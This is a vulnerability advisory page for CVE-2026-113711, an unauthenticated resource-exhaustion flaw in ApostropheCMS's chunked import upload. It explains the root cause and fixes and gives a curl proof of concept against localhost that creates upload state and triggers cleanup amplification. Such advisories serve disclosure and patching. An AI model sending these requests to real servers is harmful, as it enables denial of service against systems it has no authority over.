Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-113711 — apostrophe

HIGHFix: apostrophecms/apostrophe@9500b8b

CVE-2026-113711 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.

ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export

Also known asGHSA-86wm-68pq-5jwq
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-113711 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

8other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
apostrophenpm
18Kdownloads / week
@apostrophecms/import-exportnpm
986downloads / week

Description

Summary

A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by @apostrophecms/import-export.

The affected import API routes invoke:

self.apos.http.bigUploadMiddleware()

before the actual import handler performs its authentication check.

Because no authorize callback is supplied to bigUploadMiddleware(), unauthenticated requests can reach the aposBigUpload start, chunk, and end operations before the later req.user check rejects the import.

As a result, an unauthenticated remote attacker can create server-side upload state, write chunk data to upload storage, trigger temporary-file processing, and cause attacker-controlled cleanup operations before authentication is enforced.

Affected Component

Package:

@apostrophecms/import-export

Confirmed affected version:

3.6.2

Potential earlier affected versions:

The issue may affect earlier 3.x releases in which the current big-upload-based import implementation is present. I have not yet fully verified the exact introduction version and recommend that the maintainers confirm the affected version range.

Vulnerability Type

Primary:

CWE-400 — Uncontrolled Resource Consumption

Related:

CWE-306 — Missing Authentication for Critical Function

CWE-770 — Allocation of Resources Without Limits or Throttling

Technical Details

The page import route registers the following middleware chain:

packages/import-export/modules/@apostrophecms/import-export-page/index.js

importExportImport: [
  self.apos.http.bigUploadMiddleware(),
  async (req) => {
    return self.apos.modules['@apostrophecms/import-export']
      .import(req, self.__meta.name);
  }
]

No authorize callback is passed to bigUploadMiddleware().

The bigUploadMiddleware() implementation explicitly supports an authorize callback and performs that authorization before processing the aposBigUpload protocol when supplied.

Without that callback, requests containing:

aposBigUpload[type]=start

aposBigUpload[type]=chunk

or

aposBigUpload[type]=end

are processed immediately.

The actual authentication check occurs later in:

packages/import-export/lib/methods/import.js

async import(req, moduleName) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }

This means authentication occurs only after the chunked-upload middleware has already performed server-side work.

Attack Flow

1. Start

An unauthenticated attacker submits an aposBigUpload[type]=start request.

The server generates an upload ID and stores attacker-supplied upload metadata, including the declared chunks count.

2. Chunk

The attacker can upload chunk data.

bigUploadChunk() copies attacker-controlled data into:

/big-uploads/<id>-<n>-<chunk>

3. End

The attacker sends an aposBigUpload[type]=end request.

bigUploadEnd() begins processing the upload and creates temporary files before invoking the downstream import handler.

Only after this processing completes does execution reach the later authentication check in import().

4. Cleanup amplification

The attacker-controlled chunks value is also used by bigUploadCleanupOne():

for (const { chunks } of Object.values(bigUpload.files)) {
  for (let i = 0; (i < chunks); i++) {
    await ufs.remove(...);
  }
}

No small upper bound on the declared chunk count appears to be enforced at upload initialization.

This allows an unauthenticated attacker to increase the number of filesystem cleanup operations performed for an upload.

Proof of Concept

The following reproduction was performed only against an isolated test environment.

Start an upload without authentication

curl -s -X POST \
  'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=start' \
  -H 'Content-Type: application/json' \
  --data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}'

The server returns an upload ID despite the request having no authenticated session.

Upload a chunk

printf 'PWN!' >/tmp/chunk.bin

curl -s -X POST \
  'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]=<ID>&aposBigUpload[n]=0&aposBigUpload[chunk]=0' \
  -F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'

The request succeeds and causes server-side upload storage to be used.

Finalize the upload

curl -i -X POST \
  'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]=<ID>'

Observed behavior:

  • start returns HTTP 200 and an upload ID without authentication.
  • chunk returns HTTP 200 and results in server-side chunk storage.
  • end eventually reaches the downstream authentication check and is rejected.
  • However, the server-side big-upload processing has already occurred before that authentication rejection.

In my isolated harness:

  • chunks=1 resulted in one cleanup removal attempt.
  • chunks=50 resulted in 50 cleanup removal attempts.

This demonstrates that the attacker-controlled chunk count directly influences server-side cleanup work.

Security Impact

The vulnerability allows an unauthenticated remote attacker to cause server-side storage and filesystem operations that should only be reachable by authorized import users.

Possible consequences include:

  • Consumption of upload and temporary storage.
  • Creation of server-side upload state by unauthenticated users.
  • Repeated filesystem I/O.
  • Cleanup amplification based on attacker-controlled chunk counts.
  • Potential service degradation or denial of service when the attack is repeated or sufficiently amplified.

Root Cause

Authentication is enforced in the downstream import handler rather than before the chunked-upload middleware.

The middleware itself already supports an authorize callback specifically for preventing unauthorized use of the big-upload functionality.

Suggested Remediation

Require authentication before any aposBigUpload operation is processed.

For example:

  • Pass an appropriate authorize callback to bigUploadMiddleware() on all import routes.
  • Reject unauthenticated users before start, chunk, or end.
  • Enforce reasonable limits on declared chunk counts.
  • Validate declared size against actual uploaded data.
  • Introduce per-user and global storage/rate limits.
  • Ensure temporary files are removed when downstream processing fails.
  • Add regression tests confirming that anonymous start, chunk, and end requests are rejected before upload state or files are created.

Relevant reviewed commit:

d3ff8c9bb001be1acf7fdc3f035190250ac64b45

Researcher Credit

Kai Zhi

GitHub:

https://github.com/kaizhi888

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmapostropheall versions4.33.0npm install apostrophe@4.33.0
📦npm@apostrophecms/import-exportall versions3.7.0npm install @apostrophecms/import-export@3.7.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update apostrophe to 4.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-113711 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by `@apostrophecms/import-export`. The affected import API routes invoke: `self.apos.http.bigUploadMiddleware()` before the actual import handler performs its authentication check. Because no `authorize` callback is supplied to `bigUploadMiddleware()`, unauthenticated requests can reach the `aposBigUpload` `start`, `chunk`, and `end` operations before the later `req.user` check rejects the import. As a result, an unauthenticated remote attacker can create server-side uploa
O3 Security · Impact-Aware SCA

Is CVE-2026-113711 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-113711: apostrophe DoS — Fixed in 4.33.0